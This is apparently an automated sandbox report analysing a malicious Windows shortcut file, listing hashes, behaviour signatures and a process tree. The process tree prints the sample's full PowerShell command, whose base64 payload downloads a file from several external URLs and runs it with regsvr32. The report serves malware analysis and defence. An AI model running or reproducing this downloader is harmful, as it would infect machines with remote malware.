Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 09:24

General

  • Target

    c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk

  • Size

    2KB

  • MD5

    62a2b911a0cbbbf5d5f5b3219e5104e4

  • SHA1

    26eafa71722e807e1e13844456f201d12a75bd72

  • SHA256

    c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463

  • SHA512

    060027a0f5a0ea24c1cc88dafad85dc2ab6f19fdc76a47f3cf168c4085c39538f1dde60049df00d23454f69a90b8ce07ccb0fbca599e793c901046f75f8da543

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\c67871e6e9d3247002b6b15e1f4b1d3b99658f74636e53a8ce205030506ad463.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "ARCHIVO 1512.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovLzUxLjIyMi43Mi4yMzcvd3AtaW5jbHVkZXMvMmw5Mlh1bG5DNmFaenYwak5HTi8iLCJodHRwOi8vdnJzdGFyLXBhcmsuY29tL3dwLWluY2x1ZGVzLzJVWWhOZ0lhTmVJQk0vIiwiaHR0cDovL2RuMDAwODkzLmZlcm96by5jb20vYWdlbmRhL2NrVTRvck9uNC8iLCJodHRwOi8vZGxxc2NsdWIuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy80SW1NWWtnSTQ0cHN3ZWFLSS8iLCJodHRwOi8vdG93YXJkc3VuLm5ldC9hZG1pbi9uNTZ3ZzliU1pQRi8iLCJodHRwOi8vY3JlY2VyY3JlYW5kby5jb20vdGFwYXMyL0FXbG8vIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL21TUm9DeFBJWW4uaGVEO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvbVNSb0N4UElZbi5oZUQ7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\vyrEzcdcTl.ps1"; Remove-Item "$env:TEMP/\vyrEzcdcTl.
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\vyrEzcdcTl.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2820

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\vyrEzcdcTl.ps1

    Filesize

    946B

    MD5

    b6c0d424fc2e8f0305869f276f3ab851

    SHA1

    cc330652aade5fa66cf581884b1a347673206cd0

    SHA256

    70280b341855deaa98065c4548ba8cbbf318a99b288bafa4217c6b205519776c

    SHA512

    21a656692df485e9c678617c6c77c8ea9ab4cef4a214d56f7ff7c5df7b0c484eb4494fb60552746c178875e3ddc66547f2e2eb31d67be8c3745de862bbea4e8e

  • memory/2736-38-0x000007FEF61FE000-0x000007FEF61FF000-memory.dmp

    Filesize

    4KB

  • memory/2736-39-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2736-40-0x00000000024D0000-0x00000000024D8000-memory.dmp

    Filesize

    32KB

  • memory/2736-41-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-42-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-43-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-44-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-45-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-47-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2736-53-0x000007FEF5F40000-0x000007FEF68DD000-memory.dmp

    Filesize

    9.6MB